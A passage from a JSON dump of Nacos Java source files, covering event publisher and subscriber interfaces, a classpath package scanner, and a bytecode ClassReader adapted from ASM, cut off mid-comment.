    "path": "common/src/main/java/com/alibaba/nacos/common/notify/ShardedEventPublisher.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify;\n\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\n\n/**\n * Sharded event publisher.\n *\n * <p>To support one publisher for different events.\n *\n * @author xiweng.yy\n */\npublic interface ShardedEventPublisher extends EventPublisher {\n    \n    /**\n     * Add listener for default share publisher.\n     *\n     * @param subscriber    {@link Subscriber}\n     * @param subscribeType subscribe event type, such as slow event or general event.\n     */\n    void addSubscriber(Subscriber subscriber, Class<? extends Event> subscribeType);\n    \n    /**\n     * Remove listener for default share publisher.\n     *\n     * @param subscriber    {@link Subscriber}\n     * @param subscribeType subscribe event type, such as slow event or general event.\n     */\n    void removeSubscriber(Subscriber subscriber, Class<? extends Event> subscribeType);\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/notify/SlowEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify;\n\n/**\n * This event share one event-queue.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n * @author zongtanghu\n */\npublic abstract class SlowEvent extends Event {\n    \n    @Override\n    public long sequence() {\n        return 0;\n    }\n}"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/notify/listener/SmartSubscriber.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify.listener;\n\nimport com.alibaba.nacos.common.notify.Event;\n\nimport java.util.List;\n\n/**\n * Subscribers to multiple events can be listened to.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n * @author zongtanghu\n */\npublic abstract class SmartSubscriber extends Subscriber<Event> {\n    \n    /**\n     * Returns which event type are smart subscriber interested in.\n     *\n     * @return The interested event types.\n     */\n    public abstract List<Class<? extends Event>> subscribeTypes();\n    \n    @Override\n    public final Class<? extends Event> subscribeType() {\n        return null;\n    }\n    \n    @Override\n    public final boolean ignoreExpireEvent() {\n        return false;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/notify/listener/Subscriber.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify.listener;\n\nimport com.alibaba.nacos.common.notify.Event;\n\nimport java.util.concurrent.Executor;\n\n/**\n * An abstract subscriber class for subscriber interface.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n * @author zongtanghu\n */\npublic abstract class Subscriber<T extends Event> {\n    \n    /**\n     * Event callback.\n     *\n     * @param event {@link Event}\n     */\n    public abstract void onEvent(T event);\n    \n    /**\n     * Type of this subscriber's subscription.\n     *\n     * @return Class which extends {@link Event}\n     */\n    public abstract Class<? extends Event> subscribeType();\n    \n    /**\n     * It is up to the listener to determine whether the callback is asynchronous or synchronous.\n     *\n     * @return {@link Executor}\n     */\n    public Executor executor() {\n        return null;\n    }\n    \n    /**\n     * Whether to ignore expired events.\n     *\n     * @return default value is {@link Boolean#FALSE}\n     */\n    public boolean ignoreExpireEvent() {\n        return false;\n    }\n    \n    /**\n     * Whether the event's scope matches current subscriber. Default implementation is all scopes matched.\n     * If you override this method, it better to override related {@link com.alibaba.nacos.common.notify.Event#scope()}.\n     *\n     * @param event {@link Event}\n     * @return Whether the event's scope matches current subscriber\n     */\n    public boolean scopeMatches(T event) {\n        return true;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/package-info.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common;"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/DefaultPackageScan.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan;\n\nimport com.alibaba.nacos.common.packagescan.classreading.ClassReader;\nimport com.alibaba.nacos.common.packagescan.resource.PathMatchingResourcePatternResolver;\nimport com.alibaba.nacos.common.packagescan.resource.Resource;\nimport com.alibaba.nacos.common.packagescan.resource.ResourcePatternResolver;\nimport com.alibaba.nacos.common.packagescan.util.NestedIoException;\nimport com.alibaba.nacos.common.utils.ClassUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.lang.annotation.Annotation;\nimport java.util.HashSet;\nimport java.util.Set;\n\n/**\n * Scan all appropriate Class object through the package name.\n *\n * @author hujun\n */\npublic class DefaultPackageScan implements PackageScan {\n    \n    protected static final Logger LOGGER = LoggerFactory.getLogger(DefaultPackageScan.class);\n    \n    private final PathMatchingResourcePatternResolver resourcePatternResolver = new PathMatchingResourcePatternResolver();\n    \n    public DefaultPackageScan() {\n    }\n    \n    /**\n     * Scan all appropriate Class object through the package name and Class object.\n     *\n     * @param pkg          package name,for example, com.alibaba.nacos.common\n     * @param requestClass super class\n     * @param <T>          Class type\n     * @return a set contains Class\n     */\n    @Override\n    public <T> Set<Class<T>> getSubTypesOf(String pkg, Class<T> requestClass) {\n        Set<Class<T>> set = new HashSet<>(16);\n        String packageSearchPath =\n                ResourcePatternResolver.CLASSPATH_ALL_URL_PREFIX + ClassUtils.convertClassNameToResourcePath(pkg) + '/'\n                        + \"**/*.class\";\n        try {\n            Resource[] resources = resourcePatternResolver.getResources(packageSearchPath);\n            for (Resource resource : resources) {\n                Class<?> scanClass = getClassByResource(resource);\n                if (requestClass.isAssignableFrom(scanClass)) {\n                    set.add((Class<T>) scanClass);\n                }\n            }\n        } catch (IOException | ClassNotFoundException e) {\n            LOGGER.error(\"scan path: {} failed\", packageSearchPath, e);\n        }\n        return set;\n    }\n    \n    /**\n     * Scan all appropriate Class object through the package name and annotation.\n     *\n     * @param pkg        package name,for example, com.alibaba.nacos.common\n     * @param annotation annotation\n     * @param <T>        Class type\n     * @return a set contains Class object\n     */\n    @Override\n    public <T> Set<Class<T>> getTypesAnnotatedWith(String pkg, Class<? extends Annotation> annotation) {\n        Set<Class<T>> set = new HashSet<>(16);\n        String packageSearchPath =\n                ResourcePatternResolver.CLASSPATH_ALL_URL_PREFIX + ClassUtils.convertClassNameToResourcePath(pkg) + '/'\n                        + \"**/*.class\";\n        try {\n            Resource[] resources = resourcePatternResolver.getResources(packageSearchPath);\n            for (Resource resource : resources) {\n                Class<?> scanClass = getClassByResource(resource);\n                if (scanClass.isAnnotationPresent(annotation)) {\n                    set.add((Class<T>) scanClass);\n                }\n            }\n        } catch (IOException | ClassNotFoundException e) {\n            LOGGER.error(\"scan path: {} failed\", packageSearchPath, e);\n        }\n        return set;\n    }\n    \n    private Class<?> getClassByResource(Resource resource) throws IOException, ClassNotFoundException {\n        String className = getClassReader(resource).getClassName();\n        return Class.forName(ClassUtils.resourcePathToConvertClassName(className));\n    }\n    \n    private static ClassReader getClassReader(Resource resource) throws IOException {\n        try (InputStream is = resource.getInputStream()) {\n            try {\n                return new ClassReader(is);\n            } catch (IllegalArgumentException ex) {\n                throw new NestedIoException(\"ASM ClassReader failed to parse class file - \"\n                        + \"probably due to a new Java class file version that isn't supported yet: \" + resource, ex);\n            }\n        }\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/PackageScan.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan;\n\nimport java.lang.annotation.Annotation;\nimport java.util.Set;\n\n/**\n * Scan all appropriate Class object through the package name.\n *\n * @author hujun\n */\npublic interface PackageScan {\n    \n    /**\n     * Scan all appropriate Class object through the package name and Class object.\n     *\n     * @param pkg          package name,for example, com.alibaba.nacos.common\n     * @param requestClass super class\n     * @param <T>          Class type\n     * @return a set contains Class\n     */\n    <T> Set<Class<T>> getSubTypesOf(String pkg, Class<T> requestClass);\n    \n    /**\n     * Scan all appropriate Class object through the package name and annotation.\n     *\n     * @param pkg        package name,for example, com.alibaba.nacos.common\n     * @param annotation annotation\n     * @param <T>        Class type\n     * @return a set contains Class object\n     */\n    <T> Set<Class<T>> getTypesAnnotatedWith(String pkg, Class<? extends Annotation> annotation);\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/classreading/ClassReader.java",
    "content": "// ASM: a very small and fast Java bytecode manipulation framework\n// Copyright (c) 2000-2011 INRIA, France Telecom\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions\n// are met:\n// 1. Redistributions of source code must retain the above copyright\n//    notice, this list of conditions and the following disclaimer.\n// 2. Redistributions in binary form must reproduce the above copyright\n//    notice, this list of conditions and the following disclaimer in the\n//    documentation and/or other materials provided with the distribution.\n// 3. Neither the name of the copyright holders nor the names of its\n//    contributors may be used to endorse or promote products derived from\n//    this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n// THE POSSIBILITY OF SUCH DAMAGE.\n\npackage com.alibaba.nacos.common.packagescan.classreading;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\n/**\n * Copy from ASM, with less modifications\n * A parser to make a  visit a ClassFile structure, as defined in the Java\n * Virtual Machine Specification (JVMS). This class parses the ClassFile content and calls the\n * appropriate visit methods of a given ClassVisitor for each field, method and bytecode\n * instruction encountered.\n *\n * @author Eric Bruneton\n * @author Eugene Kuleshov\n * @see <a href=\"https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html\">JVMS 4</a>\n */\npublic class ClassReader {\n\n    /**\n     * A flag to skip the Code attributes. If this flag is set the Code attributes are neither parsed\n     * nor visited.\n     */\n    public static final int SKIP_CODE = 1;\n\n    public static final int V19 = 0 << 16 | 63;\n\n    /**\n     * A flag to skip the SourceFile.\n     */\n    public static final int SKIP_DEBUG = 2;\n\n    /**\n     * A flag to skip the StackMap and StackMapTable attributes. If this flag is set these attributes\n     * are neither parsed nor visited  is not called). This flag\n     * is useful when the option is used: it avoids visiting frames\n     * that will be ignored and recomputed from scratch.\n     */\n    public static final int SKIP_FRAMES = 4;\n\n    /**\n     * A flag to expand the stack map frames. By default stack map frames are visited in their\n     * original format (i.e. \"expanded\" for classes whose version is less than V1_6, and \"compressed\"\n     * for the other classes). If this flag is set, stack map frames are always visited in expanded\n     * format (this option adds a decompression/compression step in ClassReader and ClassWriter which\n     * degrades performance quite a lot).\n     */\n    public static final int EXPAND_FRAMES = 8;\n\n    /**\n     * A flag to expand the ASM specific instructions into an equivalent sequence of standard bytecode\n     * instructions. When resolving a forward jump it may happen that the signed 2 bytes offset\n     * reserved for it is not sufficient to store the bytecode offset.\n     * This internal flag is used to re-read classes containing such instructions,\n     * in order to replace them with standard instructions. In addition, when this\n     * flag is used, goto_w and jsr_w are <i>not</i> converted into goto and jsr, to make sure that\n     * infinite loops where a goto_w is replaced with a goto in ClassReader and converted back to a\n     * goto_w in ClassWriter cannot occur.\n     */\n    static final int EXPAND_ASM_INSNS = 256;\n\n    /**\n     * The maximum size of array to allocate.\n     */\n    private static final int MAX_BUFFER_SIZE = 1024 * 1024;\n\n    /**\n     * The size of the temporary byte array used to read class input streams chunk by chunk.\n     */\n    private static final int INPUT_STREAM_DATA_CHUNK_SIZE = 4096;\n\n    /**\n     * A byte array containing the JVMS ClassFile structure to be parsed.\n     *\n     * @deprecated Use {@link #readByte(int)} and the other read methods instead. This field will\n     * eventually be deleted.\n     */\n    @Deprecated\n    // DontCheck(MemberName): can't be renamed (for backward binary compatibility).\n    public final byte[] b;\n\n    /**\n     * The offset in bytes of the ClassFile's access_flags field.\n     */\n    public final int header;\n\n    /**\n     * A byte array containing the JVMS ClassFile structure to be parsed. <i>The content of this array\n     * must not be modified. This field is intended for  Attribute sub classes, and is normally\n     * not needed by class visitors.</i>\n     *\n     * <p>NOTE: the ClassFile structure can start at any offset within this array, i.e. it does not\n     * necessarily start at offset 0. Use {@link #getItem} and {@link #header} to get correct\n     * ClassFile element offsets within this byte array.\n     */\n    final byte[] classFileBuffer;\n\n    /**\n     * The offset in bytes, in {@link #classFileBuffer}, of each cp_info entry of the ClassFile's\n     * constant_pool array, <i>plus one</i>. In other words, the offset of constant pool entry i is\n     * given by cpInfoOffsets[i] - 1, i.e. its cp_info's tag field is given by b[cpInfoOffsets[i] -\n     * 1].\n     */\n    private final int[] cpInfoOffsets;\n\n    /**\n     * The String objects corresponding to the CONSTANT_Utf8 constant pool items. This cache avoids\n     * multiple parsing of a given CONSTANT_Utf8 constant pool item.\n     */\n    private final String[] constantUtf8Values;\n\n    /**\n     * A conservative estimate of the maximum length of the strings contained in the constant pool of\n     * the class.\n     */\n    private final int maxStringLength;\n\n    // -----------------------------------------------------------------------------------------------\n    // Constructors\n    // -----------------------------------------------------------------------------------------------\n\n    /**\n     * Constructs a new {@link ClassReader} object.\n     *\n     * @param classFile the JVMS ClassFile structure to be read.\n     */\n    public ClassReader(final byte[] classFile) {\n        this(classFile, 0, classFile.length);\n    }\n\n    /**\n     * Constructs a new {@link ClassReader} object.\n     *\n     * @param classFileBuffer a byte array containing the JVMS ClassFile structure to be read.\n     * @param classFileOffset the offset in byteBuffer of the first byte of the ClassFile to be read.\n     * @param classFileLength the length in bytes of the ClassFile to be read.\n     */\n    public ClassReader(\n            final byte[] classFileBuffer,\n            final int classFileOffset,\n            final int classFileLength) {\n        this(classFileBuffer, classFileOffset, /* checkClassVersion = */ true);\n    }\n\n    /**\n     * Constructs a new {@link ClassReader} object. <i>This internal constructor must not be exposed\n     * as a public API</i>.\n     *\n     * @param classFileBuffer   a byte array containing the JVMS ClassFile structure to be read.\n     * @param classFileOffset   the offset in byteBuffer of the first byte of the ClassFile to be read.\n     * @param checkClassVersion whether to check the class version or not.\n     */\n    ClassReader(\n            final byte[] classFileBuffer, final int classFileOffset, final boolean checkClassVersion) {\n        this.classFileBuffer = classFileBuffer;\n        this.b = classFileBuffer;\n        // Check the class' major_version. This field is after the magic and minor_version fields, which\n        // use 4 and 2 bytes respectively.\n        if (checkClassVersion && readShort(classFileOffset + 6) > V19) {\n            throw new IllegalArgumentException(\n                    \"Unsupported class file major version \" + readShort(classFileOffset + 6));\n        }\n        // Create the constant pool arrays. The constant_pool_count field is after the magic,\n        // minor_version and major_version fields, which use 4, 2 and 2 bytes respectively.\n        int constantPoolCount = readUnsignedShort(classFileOffset + 8);\n        cpInfoOffsets = new int[constantPoolCount];\n        constantUtf8Values = new String[constantPoolCount];\n        // Compute the offset of each constant pool entry, as well as a conservative estimate of the\n        // maximum length of the constant pool strings. The first constant pool entry is after the\n        // magic, minor_version, major_version and constant_pool_count fields, which use 4, 2, 2 and 2\n        // bytes respectively.\n        int currentCpInfoIndex = 1;\n        int currentCpInfoOffset = classFileOffset + 10;\n        int currentMaxStringLength = 0;\n        boolean hasBootstrapMethods = false;\n        boolean hasConstantDynamic = false;\n        // The offset of the other entries depend on the total size of all the previous entries.\n        while (currentCpInfoIndex < constantPoolCount) {\n            cpInfoOffsets[currentCpInfoIndex++] = currentCpInfoOffset + 1;\n            int cpInfoSize;\n            switch (classFileBuffer[currentCpInfoOffset]) {\n                case Symbol.CONSTANT_FIELDREF_TAG:\n                case Symbol.CONSTANT_METHODREF_TAG:\n                case Symbol.CONSTANT_INTERFACE_METHODREF_TAG:\n                case Symbol.CONSTANT_INTEGER_TAG:\n                case Symbol.CONSTANT_FLOAT_TAG:\n                case Symbol.CONSTANT_NAME_AND_TYPE_TAG:\n                    cpInfoSize = 5;\n                    break;\n                case Symbol.CONSTANT_DYNAMIC_TAG:\n                    cpInfoSize = 5;\n                    hasBootstrapMethods = true;\n                    hasConstantDynamic = true;\n                    break;\n                case Symbol.CONSTANT_INVOKE_DYNAMIC_TAG:\n                    cpInfoSize = 5;\n                    hasBootstrapMethods = true;\n                    break;\n                case Symbol.CONSTANT_LONG_TAG:\n                case Symbol.CONSTANT_DOUBLE_TAG:\n                    cpInfoSize = 9;\n                    currentCpInfoIndex++;\n                    break;\n                case Symbol.CONSTANT_UTF8_TAG:\n                    cpInfoSize = 3 + readUnsignedShort(currentCpInfoOffset + 1);\n                    if (cpInfoSize > currentMaxStringLength) {\n                        // The size in bytes of this CONSTANT_Utf8 structure provides a conservative estimate\n                        // of the length in characters of the corresponding string, and is much cheaper to\n                        // compute than this exact length.\n                        currentMaxStringLength = cpInfoSize;\n                    }\n                    break;\n                case Symbol.CONSTANT_METHOD_HANDLE_TAG:\n                    cpInfoSize = 4;\n                    break;\n                case Symbol.CONSTANT_CLASS_TAG:\n                case Symbol.CONSTANT_STRING_TAG:\n                case Symbol.CONSTANT_METHOD_TYPE_TAG:\n                case Symbol.CONSTANT_PACKAGE_TAG:\n                case Symbol.CONSTANT_MODULE_TAG:\n                    cpInfoSize = 3;\n                    break;\n                default:\n                    throw new IllegalArgumentException();\n            }\n            currentCpInfoOffset += cpInfoSize;\n        }\n        maxStringLength = currentMaxStringLength;\n        // The Classfile's access_flags field is just after the last constant pool entry.\n        header = currentCpInfoOffset;\n    }\n\n    /**\n     * Constructs a new {@link ClassReader} object.\n     *\n     * @param inputStream an input stream of the JVMS ClassFile structure to be read. This input\n     *                    stream must contain nothing more than the ClassFile structure itself. It is read from its\n     *                    current position to its end.\n     * @throws IOException if a problem occurs during reading.\n     */\n    public ClassReader(final InputStream inputStream) throws IOException {\n        this(readStream(inputStream, false));\n    }\n\n    /**\n     * Constructs a new {@link ClassReader} object.\n     *\n     * @param className the fully qualified name of the class to be read. The ClassFile structure is\n     *                  retrieved with the current class loader's {@link ClassLoader#getSystemResourceAsStream}.\n     * @throws IOException if an exception occurs during reading.\n     */\n    public ClassReader(final String className) throws IOException {\n        this(\n                readStream(\n                        ClassLoader.getSystemResourceAsStream(className.replace('.', '/') + \".class\"), true));\n    }\n\n    /**\n     * Reads the given input stream and returns its content as a byte array.\n     *\n     * @param inputStream an input stream.\n     * @param close       true to close the input stream after reading.\n     * @return the content of the given input stream.\n     * @throws IOException if a problem occurs during reading.\n     */\n    private static byte[] readStream(final InputStream inputStream, final boolean close)\n            throws IOException {\n        if (inputStream == null) {\n            throw new IOException(\"Class not found\");\n        }\n        int bufferSize = calculateBufferSize(inputStream);\n        try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {\n            byte[] data = new byte[bufferSize];\n            int bytesRead;\n            int readCount = 0;\n            while ((bytesRead = inputStream.read(data, 0, bufferSize)) != -1) {\n                outputStream.write(data, 0, bytesRead);\n                readCount++;\n            }\n            outputStream.flush();\n            if (readCount == 1) {\n                // SPRING PATCH: some misbehaving InputStreams return -1 but still write to buffer (gh-27429)\n                // return data;\n                // END OF PATCH\n            }\n            return outputStream.toByteArray();\n        } finally {\n            if (close) {\n                inputStream.close();\n            }\n        }\n    }\n\n    private static int calculateBufferSize(final InputStream inputStream) throws IOException {\n        int expectedLength = inputStream.available();\n        /*\n         * Some implementations can return 0 while holding available data\n         * (e.g. new FileInputStream(\"/proc/a_file\"))\n         * Also in some pathological cases a very small number might be returned,\n         * and in this case we use default size\n         */\n        if (expectedLength < 256) {\n            return INPUT_STREAM_DATA_CHUNK_SIZE;\n        }\n        return Math.min(expectedLength, MAX_BUFFER_SIZE);\n    }\n\n    // -----------------------------------------------------------------------------------------------\n    // Accessors\n    // -----------------------------------------------------------------------------------------------\n\n    /**\n     * Returns the class's access flags . This value may not reflect Deprecated\n     * and Synthetic flags when bytecode is before 1.5 and those flags are represented by attributes.\n     *\n     * @return the class access flags.\n     */\n    public int getAccess() {\n        return readUnsignedShort(header);\n    }\n\n    /**\n     * the internal class name.\n     */\n    public String getClassName() {\n        // this_class is just after the access_flags field (using 2 bytes).\n        return readClass(header + 2, new char[maxStringLength]);\n    }\n\n    public String getSuperName() {\n        // super_class is after the access_flags and this_class fields (2 bytes each).\n        return readClass(header + 4, new char[maxStringLength]);\n    }\n\n    /**\n     * the internal names of the directly implemented interfaces. Inherited implemented\n     * interfaces are not returned.\n     */\n    public String[] getInterfaces() {\n        // interfaces_count is after the access_flags, this_class and super_class fields (2 bytes each).\n        int currentOffset = header + 6;\n        int interfacesCount = readUnsignedShort(currentOffset);\n        String[] interfaces = new String[interfacesCount];\n        if (interfacesCount > 0) {\n            char[] charBuffer = new char[maxStringLength];\n            for (int i = 0; i < interfacesCount; ++i) {\n                currentOffset += 2;\n                interfaces[i] = readClass(currentOffset, charBuffer);\n            }\n        }\n        return interfaces;\n    }\n\n    // ----------------------------------------------------------------------------------------------\n    // Methods to parse attributes\n    // ----------------------------------------------------------------------------------------------\n\n    /**\n     * Returns the offset in {@link #classFileBuffer} of the first ClassFile's 'attributes' array\n     * field entry.\n     *\n     * @return the offset in {@link #classFileBuffer} of the first ClassFile's 'attributes' array\n     * field entry.\n     */\n    final int getFirstAttributeOffset() {\n        // Skip the access_flags, this_class, super_class, and interfaces_count fields (using 2 bytes\n        // each), as well as the interfaces array field (2 bytes per interface).\n        int currentOffset = header + 8 + readUnsignedShort(header + 6) * 2;\n\n        // Read the fields_count field.\n        int fieldsCount = readUnsignedShort(currentOffset);\n        currentOffset += 2;\n        // Skip the 'fields' array field.\n        while (fieldsCount-- > 0) {\n            // Invariant: currentOffset is the offset of a field_info structure.\n            // Skip the access_flags, name_index and descriptor_index fields (2 bytes each), and read the\n            // attributes_count field.\n            int attributesCount = readUnsignedShort(currentOffset + 6);\n            currentOffset += 8;\n            // Skip the 'attributes' array field.\n            while (attributesCount-- > 0) {\n                // Invariant: currentOffset is the offset of an attribute_info structure.\n                // Read the attribute_length field (2 bytes after the start of the attribute_info) and skip\n                // this many bytes, plus 6 for the attribute_name_index and attribute_length fields\n                // (yielding the total size of the attribute_info structure).\n                currentOffset += 6 + readInt(currentOffset + 2);\n            }\n        }\n\n        // Skip the methods_count and 'methods' fields, using the same method as above.\n        int methodsCount = readUnsignedShort(currentOffset);\n        currentOffset += 2;\n        while (methodsCount-- > 0) {\n            int attributesCount = readUnsignedShort(currentOffset + 6);\n            currentOffset += 8;\n            while (attributesCount-- > 0) {\n                currentOffset += 6 + readInt(currentOffset + 2);\n            }\n        }\n\n        // Skip the ClassFile's attributes_count field.\n        return currentOffset + 2;\n    }\n\n    // -----------------------------------------------------------------------------------------------\n    // Utility methods: low level parsing\n    // -----------------------------------------------------------------------------------------------\n\n    /**\n     * Returns the number of entries in the class's constant pool table.\n     *\n     * @return the number of entries in the class's constant pool table.\n     */\n    public int getItemCount() {\n        return cpInfoOffsets.length;\n    }\n\n    /**\n     * Returns the start offset in this {@link ClassReader} of a JVMS 'cp_info' structure (i.e. a\n     * constant pool entry), plus one. <i>This method is intended for  Attribute sub classes,\n     * and is normally not needed by class generators or adapters.</i>\n     *\n     * @param constantPoolEntryIndex the index a constant pool entry in the class's constant pool\n     *                               table.\n     * @return the start offset in this {@link ClassReader} of the corresponding JVMS 'cp_info'\n     * structure, plus one.\n     */\n    public int getItem(final int constantPoolEntryIndex) {\n        return cpInfoOffsets[constantPoolEntryIndex];\n    }\n\n    /**\n     * Returns a conservative estimate of the maximum length of the strings contained in the class's\n     * constant pool table.\n     *\n     * @return a conservative estimate of the maximum length of the strings contained in the class's\n     * constant pool table.\n     */\n    public int getMaxStringLength() {\n        return maxStringLength;\n    }\n\n    /**\n     * Reads a byte value in this {@link ClassReader}. <i>This method is intended for\n     * Attribute sub classes, and is normally not needed by class generators or adapters.</i>\n     *\n     * @param offset the start offset of the value to be read in this {@link ClassReader}.\n     * @return the read value.\n     */\n    public int readByte(final int offset) {\n        return classFileBuffer[offset] & 0xFF;\n    }\n\n    /**\n     * Reads an unsigned short value in this {@link ClassReader}. <i>This method is intended for\n     *  Attribute sub classes, and is normally not needed by class generators or adapters.</i>\n     *\n     * @param offset the start index of the value to be read in this {@link ClassReader}.\n     * @return the read value.\n     */\n    public int readUnsignedShort(final int offset) {\n        byte[] classBuffer = classFileBuffer;\n        return ((classBuffer[offset] & 0xFF) << 8) | (classBuffer[offset + 1] & 0xFF);\n    }\n\n    /**\n     * Reads a signed short value in this {@link ClassReader}. <i>This method is intended for\n     * Attribute sub classes, and is normally not needed by class generators or adapters.</i>\n     *\n     * @param offset the start offset of the value to be read in this {@link ClassReader}.\n     * @return the read value.\n     */\n    public short readShort(final int offset) {\n        byte[] classBuffer = classFileBuffer;\n        return (short) (((classBuffer[offset] & 0xFF) << 8) | (classBuffer[offset + 1] & 0xFF));\n    }\n\n    /**\n     * Reads a signed int value in this {@link ClassReader}. <i>This method is intended for\n     * Attribute sub classes, and is normally not needed by class generators or adapters.</i>\n     *\n     * @param offset the start offset of the value to be read in this {@link ClassReader}.\n     * @return the read value.\n     */\n    public int readInt(final int offset) {\n        byte[] classBuffer = classFileBuffer;\n        return ((classBuffer[offset] & 0xFF) << 24)\n                | ((classBuffer[offset + 1] & 0xFF) << 16)\n                | ((classBuffer[offset + 2] & 0xFF) << 8)\n                | (classBuffer[offset + 3] & 0xFF);\n    }\n\n    /**\n     * Reads a signed long value in this {@link ClassReader}. <i>This method is intended for\n     * Attribute sub classes, and is normally not needed by class generators or adapters.</i>\n     *\n     * @param offset the start offset of the value to be read in this {@link ClassReader}.\n     * @return the read value.\n     */\n    public long readLong(final int offset) {\n        long l1 = readInt(offset);\n        long l0 = readInt(offset + 4) & 0xFFFFFFFFL;\n        return (l1 << 32) | l0;\n    }\n\n    /**\n     * Reads a CONSTANT_Utf8 constant pool entry in this {@link ClassReader}. <i>This method is\n     * intended for Attribute sub classes, and is normally not needed by class generators or\n     * adapters.</i>\n     *\n     * @param offset     the start offset of an unsigned short value in this {@link ClassReader}, whose\n     *                   value is the index of a CONSTANT_Utf8 entry in 